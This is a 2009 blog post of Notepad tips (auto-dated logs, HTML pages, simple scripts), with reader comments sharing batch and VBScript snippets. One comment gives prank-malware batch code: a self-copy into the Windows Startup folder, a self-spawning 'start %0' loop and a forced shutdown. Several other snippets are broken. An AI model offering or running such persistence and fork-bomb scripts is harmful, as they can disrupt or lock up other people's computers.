10 Amazing Things You Can Do With Notepad
By on June 6th, 2009

Notepad is known to every Windows users. It is a simple text editor which has been part of Microsoft Windows operating system since Windows 1.0 in 1985 [wikipedia]. It has remained same in ever evolving Windows operating system but its users have found new ways to use good old notepad in more productive and effective manner. Here goes:

1. Notepad as your Digital Diary You can use Notepad as digital diary and automatically insert date time information for every line you type in notepad. Open a new notepad file (Click Start > Run, type Notepad and hit OK) and type .LOG at the top of the notepad file.


Now type few lines and close the Notepad file. Open the notepad file and you will see date time information added to each line of text in your Notepad file. You can also add this information manually, just hit F5 key where you want to insert date-time information.

2. Notepad as HTML Stripper Ideally text on webpages is formatted for specific font type, color, size along with other CSS design elements and images. You can rip off text only from any webpage using notepad. Just select and copy text from any webpage and paste in a notepad file which can be saved (without any formatting baggage) for future use.

3. Notepad as Printing cost saver Notepad can come handy when you are printing text laden pages in large quantity. Extending the concept of using Notepad as HTML stripper, you can strip webpages of additional formatting and image using notepad and print more with less usage of ink, paper and money (of course).

4. Notepad as HTML webpage creator Notepad can be used to create your first HTML webpage as stepping stone in the world webpages (and websites). Just type basic HTML tags and save the file with .html extension. Test drive with code in following screenshot:


5. Notepad as Good and Evil script creator Notepad is a very simple text editor which can be used to create complex script. You can create evil scripts like format of hard drive to useful scripts like PC shutdown, which can be executed with a click of a button.

6. Notepad as Text Replacer You can use notepad to replace word(s) in essay of text. For example, you want to replace Microsoft’ with Yahoo’ in specific text file. Copy the text into notepad file and use Ctrl + H (or Edit > Replace), enter Microsoft in first text field and Yahoo is second text field and click the replace button.


7. Notepad as Window Explorer Skipper Sometimes specific files cannot be deleted. You can try notepad to skip and bypass Windows Explorer to delete such files. Open Notepad, GOTO File > Open. Select all files’ in file type dropdown menu. Now browse to folder and right click on file you want remove and click the delete option. Sometimes, this might come handy!

8. Notepad as Fun app Notepad isn’t that simple and has its share of flaws. Open Notepad and type this app can break and then save the file. Open the file and see for yourself notepad just broke something!

9 Notepad as creative designer tool Notepad can break things (i.e. text) sometimes but it can also create some impressive text based designs. Like open your notepad, type Q33N and then format font size 72px, font type WingDings. See the screenshot below, 9/11 plan crash remember?


Besides, you can see more creative text designs made in notepad while downloading serial key crack files they usual have big graffiti made in notepad, seen those?

10 Notepad as ??? Now its your chance to put simple good old notepad to some creative use. You might discover few new and interesting uses of Notepad. Found one? Why not share with use by adding a comment.

This is a post written by Davinder Techno Life @ tothepc who also contributes to TechF5 Refreshing Tech with latest technology ramblings, tips, tricks, software and web app reviews.

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  • http://www.technoi.com technoi

    Great article! Bunty RoX!!

  • joe

    open notepad, put in the following line
    del 1.bat
    click save as, under file type, click all files. then name it 1.bat
    minimize notepad, click the file you just saved.

    what’ll happen is
    it open ms dos, then gives it the line you put in, which tells it to delete 1.bat, so it does.
    i short terms, the file deletes its self.

  • someo

    What is up with the spelling on the diagram of no.6? WTF? Yahoo is behing Google? A lose in profits? Random…

  • http://davecook.webng.com Dave

    Open notepad And Type
    “Dim message, sapi
    message=InputBox(“Type in The Box, Then Click OK”,”Daves Text To Speech”)
    Set sapi=CreateObject(“sapi.spvoice”)
    sapi.Speak message”
    Without qoutes and save as a .vbs file. any name will do

    this creats a text to speech script that will say aything you type.

    • Murari

      Dim message, sapi

      message=InputBox(Type in The Box, Then Click OK,Daves Text To Speech)

      Set sapi=CreateObject(sapi.spvoice)

      sapi.Speak message

      I have placed the abovce text in notepad without quotes. it is not working. Would you please write the exact text to place for it to work

      • Mae

        Dim message, sapi
        message=InputBox(“Enter the text you want spoken”,”Speak This”)
        Set sapi=CreateObject(“sapi.spvoice”)
        sapi.Speak message
        loop until message = “”

        but you need to change the ” to make it work if you are pasting it. notepad reads them wrong.

  • damex

    this is appreciating, thanks man!

  • jdrop13

    ok this is to make the matrix:

    step 1: open notepad

    step 2: copy and paste this code:

    @echo off

    color 02


    echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

    goto start

    step 3: save as Matrix.bat

  • James Harper

    To make error boxes, either for an application or as a joke.

    Type this into notepad: Insert text in the first quotes and the box title in the second, save it as a .vbs file and its ready to go. You also have to configure it to save as all file types.

    X = MsgBox("", ,"")

    Example: X = MsgBox("Hello World!", ,"Testing")

  • http://www.myspace.com/skaterkidgoingloko Alex Wilson

    Hey, I have discorvered that you can make simple programs with notepad. they are really cool and you don't need to know "much" about programming, but obviously you have to know a little.

  • ravi

    gud darling

  • ABCabc

    First open notepad

    Matrix Effect

    Here is the code.Just copy it.

    @echo off

    color 0a


    echo %random% %random% %random% %random% %random% %random% %random% %random% %radom% %random

    goto start

  • anonymous

    i use notepad for creating programs

  • ben brauer

    hey guyz whats more that is really cool is you can make questionaires and menu'ing systems right from notepad.
    copy and paste the following into a notepad text box and save as a .bat file:

    @echo off
    echo welcome to the "techie-buzz.com" questionaire.
    echo we would like you to complete the following questionaire.
    echo when prompted, press 1 for yes, 2 for no, or press 5 to quit.
    echo …………………………………………………..
    echo did you find the resources on our website useful/helpful?
    echo …………………………………………………..
    set /p q=type your answer now and press ENTER when you are done:
    if %q%==1 goto 1
    if %q%==2 goto 2
    if %q%==5 goto 5
    echo you have answered yes.
    echo we apreciate your feed back.
    echo thank you for your time.

  • Mae

    i have a coo thing you can do with notepad! you can write your own program that speaks what you type!

    First, paste this into notepad:

    Dim message, sapi
    message=InputBox(“Enter the text you want spoken”,”Speak This”)
    Set sapi=CreateObject(“sapi.spvoice”)
    sapi.Speak message
    loop until message = “”

    (you need to go back and manually change the ” signs because notepad reads them wrong.)

    then you save the file with any name followed by .vbs (e.g Speak this.vbs)

    you will also need to save it under all files.

    then you close notepad and find the file. open the file if you receive an error message make sure that you have changed the ” signs to your own. if a box pops up and asks you to type something in type anything you like! the computer will say what you type!


  • anonymous

    Type in

    EatOut = 0
    Order = 0
    Cook = 0
    Hungry = 0

    Choice = InputBox(“Enter 1 – Eat Out; 2 – Order Delivery; 3 – Cook”,”Do not press cancel until last vote is made”)

    If (Choice vbNull) and (Choice “”) Then
    Select Case Choice
    Case 1
    Wscript.Echo “Eat Out”
    EatOut = EatOut + 1
    Case 2
    Wscript.Echo “Order Delivery”
    Order = Order + 1
    Case 3
    Wscript.Echo “Cook”
    Cook = Cook + 1
    Case Else
    Wscript.Echo “Don’t Eat”
    Hungry = Hungry + 1
    End Select
    End If

    Loop Until Choice = “”

    Wscript.Echo “Eat out: ” & EatOut
    Wscript.Echo “Order: ” & Order
    Wscript.Echo “Cook: ” & Cook
    Wscript.Echo “Don’t Eat: ” & Hungry

    and save as .vbs and you get a dinner tally

  • http://maranatha21.blogspot.com/ Maranatha

    Wow! i never though that the notepad could be so useful! Thanx dear!

  • Anon

    You can use it to start up websites or programs just type in
    start http:// http://www.whaterveryouwant.com /ca/ uk/ etc

  • http://www.facebook.com/profile.php?id=100000539592060 Abhishek Fulwadhwa

    it was nice.

  • http://www.facebook.com/profile.php?id=100002107810145 Rajesh Bhardwaj

    this is very cool process of note pad.


    @echo off
    color a

    Set source=C:\Users\%username%\Desktop\RB.cmd
    set dist=C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RB.cmd
    copy /Y “%source%” “%dist%” >nul



    make a new notepad

    @echo off
    color a
    start %0
    goto loop

    save it as RB.cmd


    make a new notepad

    @echo off
    color a

    shutdown -f


    save as SDA.CMD

  • http://www.facebook.com/profile.php?id=100003523404333 Hussein Kanso

    what the fuck I’m going to try everything in that notepad shit what if this bitch was made with all the fucking info cause nobody will know that all the motherfucking info is in there.

  • http://www.facebook.com/profile.php?id=100000502886797 Habiib Nasri Jamaal

    wooooooooooow awesome

  • http://www.facebook.com/profile.php?id=100003133630105 Cole Pelletier

    check this out.

    copy and paste this into note pad and save it as “matrix.bat” also select “all files”.

    @echo off
    color 02
    echo %random% %random% %random% %random% %random% %random% %random% %random%.
    goto start

  • rajesh varma

    it’s very intrestiing..am soo exiting yaar…

  • Manoj Kumar Chandel

    check this documents

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